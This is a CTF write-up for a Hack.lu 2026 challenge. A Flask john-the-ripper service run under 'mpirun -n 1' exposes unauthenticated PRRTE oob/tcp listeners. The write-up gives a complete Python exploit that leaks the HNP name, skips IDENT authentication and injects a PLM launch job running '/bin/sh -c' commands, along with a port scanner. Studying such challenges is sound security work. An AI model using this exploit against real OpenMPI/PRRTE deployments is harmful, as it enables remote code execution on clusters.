$ cat writeup.md…
$ cat writeup.md…
Hack.lu2026
Task: Flask hash-cracking service runs john under `mpirun -n 1`, exposing PRTE OOB listeners on 0.0.0.0. Solution: reach the HNP listener over the pod network, leak its name with a PROBE, skip IDENT auth, and inject a PRTE_PLM launch job over RML to run /readflag.
Jenkins, Jira, Java: all good software starts with J
English summary: a Flask app exposes a single hash-cracking endpoint. POST with
hash=<h>&format=<descrypt|md5crypt|bcrypt> writes u:<hash>\n into
/var/www/jobs/<job>.hash and then runs, as uid 33 (http):
timeout 30 mpirun -n 1 john --format=<fmt> /var/www/jobs/<job>.hash > <job>.out 2>&1; touch <job>.done
GET /?job=<16hex> waits for <job>.done, then prints the first line of
<job>.out matching ^(.+?)\s+\(u\)\s*$ inside <pre>. Hash input is limited
to [./$A-Za-z0-9]{10,120} and format to an exact three-element list, so the
obvious injection surfaces are closed. The goal is code execution: /readflag
is mode 2555 root:1337 (world-executable, setgid 1337) and prints the flag,
while /flag.txt is 0040 root:1337 — so merely reading a file is not enough,
we need to run a program.
Category is misc with a pwn label. The task name is the pun: the "good
software" is John the Ripper, but the actual bug is not in John at all.
Everything a player controls (hash bytes, format, job id) is tightly validated:
format must be one of descrypt, md5crypt, bcrypt — an exact list, no
injection there.hash must match [./$A-Za-z0-9]{10,120} — no quotes, spaces, semicolons,
newlines, or $() expansion reachable through the argument itself (it is also
shlex.quoted).job is generated with secrets.token_hex(8).A very large amount of time was spent fuzzing John's hash parsers
(descrypt/md5crypt/bcrypt, ASan/UBSan/valgrind, differential ASan-vs-release,
MALLOC_CHECK_/MALLOC_PERTURB_ sweeps over the whole mpirun lifecycle). It is
clean — that is a dead end. The interesting word in the command is not
john, it is mpirun.
mpirun -n 1 is therempirun -n 1 <one process> is functionally pointless — it launches exactly one
rank of a program that has no MPI work to do. Its only effect is to drag in the
OpenMPI runtime stack: prterun (the HNP, from PRRTE 3.0.14, vendored
inside OpenMPI 5.0.10) plus PMIx. And PRTE's oob/tcp + RML networking
binds on all interfaces (0.0.0.0), using a cluster-trust security model:
PMIX_SECURITY_MODE=native with no authentication on the accept path.
The compose file is the tell:
services: john: ipv4_address: 10.244.0.1 ... networks: default: ipam: config: - subnet: 10.244.0.0/16 ip_range: 10.244.0.0/24 gateway: 10.244.1.2 # OUTSIDE ip_range -> the platform pod net
The container is pinned to a Kubernetes-style pod IP 10.244.0.1, and the
gateway 10.244.1.2 sits outside the declared ip_range — that is the
platform's pod network, not the compose bridge. Players are handed a WireGuard
config that routes 10.244.0.0/24, so an attacker on the pod network can talk
directly to those 0.0.0.0 sockets.
While a job is alive, /proc/net/tcp (as uid 33) shows:
| Socket | Owner | Behaviour |
|---|---|---|
0.0.0.0:1024 | the john MPI rank (static port ladder 1024→1027, first free) | does not answer probes while john is cracking; appears late |
0.0.0.0:<ephemeral> | the HNP / prterun OOB listener | answers probes, this is the target |
127.0.0.1:<eph> | the PMIx server URI | loopback-only, not usable remotely |
The PMIx server itself is loopback-only and its TCP PTL has version/auth
handshakes, so PMIx_tool_init / PMIx_Spawn against it is a dead end. The
RML / oob path is the remote-capable one.
PRTE's oob/tcp accept path (prte_oob_tcp_peer_recv_connect_ack) trusts any
incoming origin: an unknown origin is simply turned into a new peer object.
Consequences:
type = 2) makes the server reply with a header whose origin is
the HNP's own process name — an nspace disclosure (prterun-john-<pid>@0,
rank 0), then it closes.type = 1) completes a connection with no credential check; the
only requirement is that the version C-string in the payload strcmp-equals
prte_version_string on the server (3.0.14 for this build). The server
replies with its own connect-ack, from which you can read the exact version.type = 4) with dst equal to the HNP name are dispatched
by RML tag. Tag 5 is PRTE_RML_TAG_PLM, whose handler
(prte_plm_base_receive.c) reads PRTE_PLM_LAUNCH_JOB_CMD = 1, unpacks a job
object and calls prte_plm.spawn() with no sender validation. That spawns
the app locally, as prterun's own user (uid 33).So: any pod on 10.244.0.0/24 can make the HNP launch an arbitrary command. The
payload shape is exactly what pmix_server_dyn.c: spawn() builds — a UINT8
command followed by prte_job_pack(job).
The HNP listener only exists while a job runs. To get a comfortable ~30 s window,
POST a bcrypt hash with cost 31; the timeout gives the full 30 s. The window
opens a few seconds after POST, so scan immediately.
POST / hash=$2a$31$...................................&format=bcrypt
Async non-blocking scan of 10.244.0.1. The Linux ephemeral range
32768-60999 is usually enough; scanning 1024-65535 is safest. Identify the
HNP by a PROBE reply starting with prterun-, never by port number (the
john rank also holds 0.0.0.0:1024).
#!/usr/bin/env python3 # portscan.py — non-blocking async connect scan import socket, selectors, sys, time host = sys.argv[1] lo = int(sys.argv[2]) if len(sys.argv) > 2 else 1024 hi = int(sys.argv[3]) if len(sys.argv) > 3 else 65535 opened = [] t0 = time.time() for base in range(lo, hi + 1, 800): sel = selectors.DefaultSelector(); socks = [] for p in range(base, min(base + 800, hi + 1)): s = socket.socket(); s.setblocking(False) try: s.connect_ex((host, p)) except Exception: s.close(); continue try: sel.register(s, selectors.EVENT_WRITE, p); socks.append(s) except Exception: s.close() end = time.time() + 0.45 while time.time() < end and sel.get_map(): events = sel.select(end - time.time()) if not events: break for key, _ in events: s = key.fileobj; p = key.data if s.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) == 0: opened.append(p) try: sel.unregister(s) except Exception: pass s.close() for s in socks: try: sel.unregister(s) except Exception: pass try: s.close() except Exception: pass sel.close() print("open", sorted(set(opened)), "elapsed", round(time.time() - t0, 2), flush=True)
Send an OOB/TCP header with type = 2. The reply's origin.nspace is the HNP
name, e.g. prterun-john-95@0 with rank 0. That is the exact dst we need.
Open a connection to the HNP port and send:
type = 1, origin = attacker (any name), dst = <HNP name>,
nbytes = len(payload)[uint16 BE ack_flag = 1][version C-string]The version must strcmp-equal prte_version_string; for this build it is
exactly 3.0.14. The server replies with its own connect-ack header plus
[uint16 ack=1][version string], which confirms the handshake and leaks the
server's exact version from the wire.
The header is a raw memcpy of prte_oob_tcp_hdr_t — 568 bytes on the wire:
offset field
0 origin : pmix_proc_t { char nspace[256]; uint32 rank (BE) }
260 dst : pmix_proc_t { char nspace[256]; uint32 rank (BE) }
520 tag : uint32 BE
524 seq_num: uint32 HOST order (PRTE does NOT byteswap it)
528 nbytes : uint32 BE
532 type : uint8 (1=IDENT, 2=PROBE, 3=PING, 4=USER)
533 routed : char[32] zeroed
565 3 bytes of struct tail padding
NSLEN = 256 HDR_LEN = 568 T_IDENT, T_PROBE, T_PING, T_USER = 1, 2, 3, 4 TAG_PLM = 5 def hdr(htype, oname, orank, dname, drank, tag, nbytes, seq=0, routed=b""): b = oname.encode()[:255].ljust(NSLEN, b"\0") b += struct.pack("!I", orank) b += dname.encode()[:255].ljust(NSLEN, b"\0") b += struct.pack("!I", drank) b += struct.pack("!I", tag) b += struct.pack("<I", seq) # seq_num NOT byteswapped by prte b += struct.pack("!I", nbytes) b += bytes([htype]) rb = routed if isinstance(routed, bytes) else routed.encode() b += rb[:31].ljust(32, b"\0") assert len(b) == 565 return b + b"\0" * 3 # -> 568
Release PRTE builds use PMIX_BFROP_BUFFER_NON_DESC plus the
psquash/flex128 module. Most PMIx documentation describes a fully-described
format with per-field type ids — that is wrong for this build. The rules are:
PMIX_VALUE always stores for its own value type.1 → 0x02).INT16, INT32, and the INT used for value types) use
zigzag + base-128 varint (1 → 0x02, -1 → 0x01).UINT16, UINT32, PROC_RANK) use plain base-128
varint.INT8/UINT8 are a single raw byte.STRING = zigzag varint(length including NUL) + bytes + NUL; a NULL
pointer is a single 0x00.PROC = STRING(nspace) + unsigned-varint(rank).PMIX_PROC_NSPACE (type 60) is just a STRING.PMIX_VALUE = unsigned-varint(value-type) + payload of that type.Local confirmation trick: build an LD_PRELOAD interposer over
PMIx_Data_pack/PMIx_Data_unpack and log the bytes for a PMIX_UINT8 value
of 1 — it is exactly 02 01.
def flex(v): # unsigned base-128 varint out = bytearray() while True: b = v & 0x7f; v >>= 7 if v: b |= 0x80 out.append(b) if not v: return bytes(out) def sflex(v): # zigzag for signed return flex(2 * v if v >= 0 else -2 * v - 1) def _pack(v, t): if t == STRING: if v is None: return sflex(0) b = v.encode() if isinstance(v, str) else v return sflex(len(b) + 1) + b + b"\0" if t == BOOL: return b"\x01" if v else b"\x00" if t in (INT8, UINT8): return struct.pack("!B", v & 0xff) if t in (INT16, INT32): return sflex(v) if t in (UINT16, UINT32, PROC_RANK): return flex(v) if t == PROC: return _pack(v[0], STRING) + flex(v[1]) if t == PROC_NSPACE: return _pack(v, STRING) if t == VALUE: vtype, payload = v return flex(vtype) + _pack(payload, vtype) raise ValueError("type %d" % t) def pk(buf, vals, t): buf += sflex(len(vals)) for v in (vals if isinstance(vals, list) else [vals]): buf += _pack(v, t) return buf
Type ids used: BOOL=1, STRING=3, INT32=9, UINT8=12, UINT16=13, UINT32=14, INT8=7, INT16=8, VALUE=21, PROC=22, PROC_RANK=40, PROC_NSPACE=60.
prte_job_pack / prte_job_unpack)In order:
nspace PROC_NSPACE
flags UINT16
attrcount INT32, then per attribute { key UINT16, value PMIX_VALUE }
jobinfo count INT32 (0)
personality count INT32 (0)
num_apps UINT32
per app:
idx INT32, app STRING, num_procs INT32, first_rank PROC_RANK,
argc INT32 + that many individual STRING packs,
envc INT32 + strings,
cwd STRING, flags INT8, attrcount INT32 (+attrs)
num_procs PROC_RANK
offset PROC_RANK
per proc:
name PROC, parent PROC_RANK (PMIX_RANK_INVALID = 0xFFFFFFFC),
local_rank UINT16 (0xFFFF), node_rank UINT16 (0xFFFF),
state UINT32 (0), app_idx UINT32, app_rank PROC_RANK (0xFFFFFFFF),
cpuset STRING (NULL), attrcount INT32
stdin_target PROC_RANK
total_slots_alloc INT32
map flag INT32 (0 = no map packed)
bookmark INT32 (-1, SIGNED — flex rejects 0xFFFFFFFF)
state INT32 (0)
launcher PROC_NSPACE (empty)
PRTE_JOB_LAUNCH_PROXY = key 240
(PRTE_JOB_START_KEY(200) + 40) with a PMIX_PROC value. The handler reads
it and bails with NOT_FOUND otherwise.prte_plm_base_setup_job() only
calls prte_plm_base_create_jobid() + prte_set_job_data_object() when
PMIX_NSPACE_INVALID(jdata->nspace). If you supply your own name the job is
never registered and the launch dies later in
prte_odls_base_default_get_add_procs_data() with BAD_PARAM. With an empty
nspace the HNP allocates <base>@N itself and registers the job.Send the launch payload as a USER message (type = 4) with tag = 5
(PRTE_RML_TAG_PLM) and dst = <HNP name>. The first byte is
PRTE_PLM_LAUNCH_JOB_CMD = 1. The HNP unpacks the job and calls
prte_plm.spawn(), launching the app locally as prterun's user (uid 33). The app
is ["/bin/sh","-c","<command>"].
Choose a job id you control (a valid 16-hex string) and have the command write the flag into that job's own output file in the form the app displays:
printf "%s (u)\n" "$(/readflag)" > /var/www/jobs/<jobid>.out; touch /var/www/jobs/<jobid>.done
The (u) suffix is required — the app only prints lines matching
^(.+?)\s+\(u\)\s*$. Then GET /?job=<jobid> renders the flag inside <pre>.
#!/usr/bin/env python3 """PRTE (PRRTE 3.0.14) oob/tcp RML injection -> PRTE_PLM_LAUNCH_JOB_CMD.""" import socket, struct, sys, time NSLEN = 256 HDR_LEN = 568 T_IDENT, T_PROBE, T_PING, T_USER = 1, 2, 3, 4 TAG_PLM = 5 BOOL, BYTE, STRING, PID, INT32, UINT8, UINT16, UINT32 = 1, 2, 3, 5, 9, 12, 13, 14 INT8, INT16 = 7, 8 VALUE, PROC, PROC_RANK, PROC_NSPACE = 21, 22, 40, 60 def flex(v): # psquash/flex128 unsigned base-128 varint out = bytearray() while True: b = v & 0x7f; v >>= 7 if v: b |= 0x80 out.append(b) if not v: return bytes(out) def sflex(v): # flex128 signed conversion (zigzag) return flex(2 * v if v >= 0 else -2 * v - 1) def _pack(v, t): if t == STRING: if v is None: return sflex(0) b = v.encode() if isinstance(v, str) else v return sflex(len(b) + 1) + b + b"\0" if t == BOOL: return b"\x01" if v else b"\x00" if t in (INT8, UINT8): return struct.pack("!B", v & 0xff) if t in (INT16, INT32): return sflex(v) if t in (UINT16, UINT32, PROC_RANK): return flex(v) if t == PROC: return _pack(v[0], STRING) + flex(v[1]) if t == PROC_NSPACE: return _pack(v, STRING) if t == VALUE: vtype, payload = v return flex(vtype) + _pack(payload, vtype) raise ValueError("type %d" % t) def pk(buf, vals, t): buf += sflex(len(vals)) for v in (vals if isinstance(vals, list) else [vals]): buf += _pack(v, t) return buf def build_launch(myns, cmd): """Mirror pmix_server_dyn.c spawn(): u8 cmd + prte_job_pack.""" b = bytearray() pk(b, [1], UINT8) # PRTE_PLM_LAUNCH_JOB_CMD pk(b, [myns], PROC_NSPACE) # job nspace (empty -> HNP allocates) pk(b, [0], UINT16) # flags pk(b, [1], INT32) # attr count pk(b, [240], UINT16) # PRTE_JOB_LAUNCH_PROXY = 200 + 40 pk(b, [(22, [myns, 0])], VALUE) # value: type PROC(22) pk(b, [0], INT32) # job info count pk(b, [0], INT32) # personality count pk(b, [1], UINT32) # num_apps pk(b, [0], INT32) # idx pk(b, ["/bin/sh"], STRING) # app pk(b, [1], INT32) # num_procs pk(b, [0], PROC_RANK) # first_rank pk(b, [3], INT32) # argc pk(b, ["sh"], STRING) # argv[0] pk(b, ["-c"], STRING) # argv[1] pk(b, [cmd], STRING) # argv[2] pk(b, [0], INT32) # env count pk(b, ["/var/www/jobs"], STRING) # cwd pk(b, [0], UINT8) # app flags (INT8) pk(b, [0], INT32) # app attr count pk(b, [1], PROC_RANK) # num_procs pk(b, [0], PROC_RANK) # offset pk(b, [(myns, 0)], PROC) # proc name pk(b, [0xFFFFFFFC], PROC_RANK) # parent = PMIX_RANK_INVALID pk(b, [0xFFFF], UINT16) # local_rank invalid pk(b, [0xFFFF], UINT16) # node_rank invalid pk(b, [0], UINT32) # state UNDEF pk(b, [0], UINT32) # app_idx pk(b, [0xFFFFFFFF], PROC_RANK) # app_rank -1 pk(b, [None], STRING) # cpuset NULL pk(b, [0], INT32) # proc attr count pk(b, [0], PROC_RANK) # stdin_target pk(b, [1], INT32) # total_slots_alloc pk(b, [0], INT32) # map flag (no map) pk(b, [-1], INT32) # bookmark -1 (signed flex!) pk(b, [0], INT32) # job state UNDEF pk(b, [""], PROC_NSPACE) # launcher nspace empty return bytes(b) def hdr(htype, oname, orank, dname, drank, tag, nbytes, seq=0, routed=b""): b = oname.encode()[:255].ljust(NSLEN, b"\0") b += struct.pack("!I", orank) b += dname.encode()[:255].ljust(NSLEN, b"\0") b += struct.pack("!I", drank) b += struct.pack("!I", tag) b += struct.pack("<I", seq) # seq_num NOT byteswapped by prte b += struct.pack("!I", nbytes) b += bytes([htype]) rb = routed if isinstance(routed, bytes) else routed.encode() b += rb[:31].ljust(32, b"\0") assert len(b) == 565 return b + b"\0" * 3 def read_exact(s, n, timeout=5): s.settimeout(timeout); data = b"" while len(data) < n: d = s.recv(n - len(data)) if not d: return None data += d return data def parse_hdr(r): ns = r[0:NSLEN].split(b"\0")[0].decode(errors="replace") rank = struct.unpack("!I", r[NSLEN:NSLEN + 4])[0] nbytes = struct.unpack("!I", r[528:532])[0] typ = r[532] return ns, rank, nbytes, typ def probe(port, host): s = socket.create_connection((host, port), timeout=3) s.sendall(hdr(T_PROBE, "attacker", 0, "attacker", 0, 0, 0)) r = read_exact(s, HDR_LEN, 3); s.close() if not r: return None ns, rank, _, typ = parse_hdr(r) if typ == T_PROBE and ns: return ns, rank return None def ident_and_launch(port, host, hnp_ns, hnp_rank, payload, version=b"3.0.14"): s = socket.create_connection((host, port), timeout=6) ident = struct.pack("!H", 1) + version + b"\0" s.sendall(hdr(T_IDENT, "attacker", 0, hnp_ns, hnp_rank, 0, len(ident))) s.sendall(ident) r = read_exact(s, HDR_LEN, 5) if not r: print("[-] no ident ack (version %r rejected?)" % version); s.close(); return False _, _, anbytes, _ = parse_hdr(r) body = read_exact(s, anbytes, 5) if anbytes else b"" srv_ver = body[2:].split(b"\0")[0] if body else b"?" print("[+] ident accepted; server version = %r" % srv_ver) s.sendall(hdr(T_USER, "attacker", 0, hnp_ns, hnp_rank, TAG_PLM, len(payload))) s.sendall(payload) try: r2 = read_exact(s, HDR_LEN, 6) if r2: _, _, rnbytes, _ = parse_hdr(r2) b2 = read_exact(s, rnbytes, 6) if rnbytes else b"" st = struct.unpack("!i", b2[0:4])[0] if len(b2) >= 4 else None print("[+] launch resp %s status=%s" % (b2[:48].hex(), st)) except Exception as e: print("[*] no sync resp (%s)" % e) s.close(); return True def main(): host = sys.argv[1] jobid = sys.argv[2] if len(sys.argv) > 2 else "" wait = float(sys.argv[3]) if len(sys.argv) > 3 else 0.0 mode = sys.argv[4] if len(sys.argv) > 4 else "readflag" if wait: time.sleep(wait) found = None deadline = time.time() + 25 while time.time() < deadline and not found: for port in (1024, 1025, 1026, 1027, 1028): # fallback static ladder try: r = probe(port, host) if r: print("[+] PROBE port %d -> nspace=%r rank=%d" % (port, r[0], r[1])) found = (port, r); break except Exception: pass if not found: time.sleep(0.5) if not found: print("[-] no prte oob listener found"); return 1 port, (ns, rank) = found if not jobid: return 0 if mode == "readflag": cmd = ('printf "%s (u)\\n" "$(/readflag)" > /var/www/jobs/%s.out; ' 'touch /var/www/jobs/%s.done' % ("%s", jobid, jobid)) else: cmd = ('printf "%s (u)\\n" "$(id; /readflag 2>&1)" > /var/www/jobs/%s.out; ' 'touch /var/www/jobs/%s.done' % ("%s", jobid, jobid)) payload = build_launch("", cmd) print("[*] payload %d bytes" % len(payload)) for ver in (b"3.0.14", b"PRRTE 3.0.14", b"v3.0.14", b"3.0.14 (PRRTE)"): try: if ident_and_launch(port, host, ns, rank, payload, ver): print("[+] launch sent with version %r" % ver); return 0 except Exception as e: print("[-] attempt %r: %s" % (ver, e)) return 1 if __name__ == "__main__": sys.exit(main() or 0)
A discovery wrapper (attack.py) runs portscan.py in a loop while the job
window is open, PROBEs each open port above the static ladder, and keeps the
first port that answers with a prterun-...@0 name. The real run found the HNP
on an ephemeral port (e.g. 10.244.0.1:34863), PROBE returned
prterun-john-<pid>@0, IDENT version 3.0.14, the USER/TAG_PLM launch was
accepted, and GET http://10.244.0.1/?job=<jobid> returned the flag inside
<pre>.
Prove code execution first by injecting $(id; /readflag 2>&1) instead of
$(/readflag). The resulting .out shows the command ran as the mpirun user
(uid=33 in production). Only then swap in the plain /readflag.
Use this technique when:
mpirun -n 1 / prte / mpiexec for no
apparent reason — the runtime stack, not the tool, is the bug.0.0.0.0 listeners (OOB / PMIx / PRTE ports) appear only while a job is alive;
identify the HNP by a PROBE reply, not by port number.PMIX_SECURITY_MODE=native — a cluster-trust
model with no authentication on the accept path.ip_range./readflag) is present but the flag file itself is
not readable — the goal is execution, not file disclosure.mpirun wrapper matteredThe challenge looks like a John the Ripper puzzle, and the label pwn pushes you
toward memory corruption in John's hash parsers. That is a decoy: the parsers are
clean. The single meaningless flag, mpirun -n 1, is the whole vulnerability. It
pulls in PRTE and its oob/tcp + RML networking, which binds on all interfaces
and uses a cluster-trust model with no authentication. Combined with the
compose network layout (a pod IP reachable by the player), an attacker on the pod
network can speak PRTE's wire protocol directly, leak the HNP name with a PROBE,
complete an unauthenticated IDENT, and inject a PRTE_PLM_LAUNCH_JOB_CMD to make
the HNP launch /readflag locally as uid 33. The "harmless" process supervisor
was the entire attack surface.
MALLOC_CHECK_/MALLOC_PERTURB_ sweeps across
the full mpirun lifecycle). Clean. The bug is not in John.PMIx_tool_init / PMIx_Spawn against the PMIx server — that server is
loopback-only and its TCP PTL has version/auth handshakes. The RML/oob path is
the remote-capable one.john-local.conf, ~/.openmpi/mca-params.conf,
etc.) — unreachable: no write primitive, and all writable dirs are noexec.0.0.0.0:1024 as the HNP — it belongs to the john MPI rank and
does not answer probes while john is cracking; it appears late. Always identify
the HNP by the prterun-...@0 PROBE reply.PMIX_BFROP_BUFFER_NON_DESC
BAD_PARAM. Leave it empty.0xFFFFFFFF) — flex rejects it. Use signed -1.openmpi-5.0.10/3rd-party/prrte):
src/mca/oob/tcp/oob_tcp_hdr.h,
oob_tcp_connection.c (prte_oob_tcp_peer_recv_connect_ack),
oob_tcp_sendrecv.c, rml/rml.h (PRTE_RML_POST_MESSAGE),
rml/rml_types.h (PRTE_RML_TAG_PLM = 5),
mca/plm/base/plm_base_receive.c (PRTE_PLM_LAUNCH_JOB_CMD = 1),
mca/plm/base/plm_base_launch_support.c, mca/plm/base/plm_base_jobid.c,
runtime/data_type_support/prte_dt_unpacking_fns.c (prte_job_unpack,
prte_app_unpack, prte_proc_unpack),
prted/pmix/pmix_server_dyn.c (the legitimate sender).src/mca/bfrops/base/bfrop_base_pack.c,
src/mca/bfrops/base/bfrop_base_frame.c
(default_type = PMIX_BFROP_BUFFER_NON_DESC in release builds),
src/mca/psquash/flex128/psquash_flex128.c, src/common/pmix_data.c.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar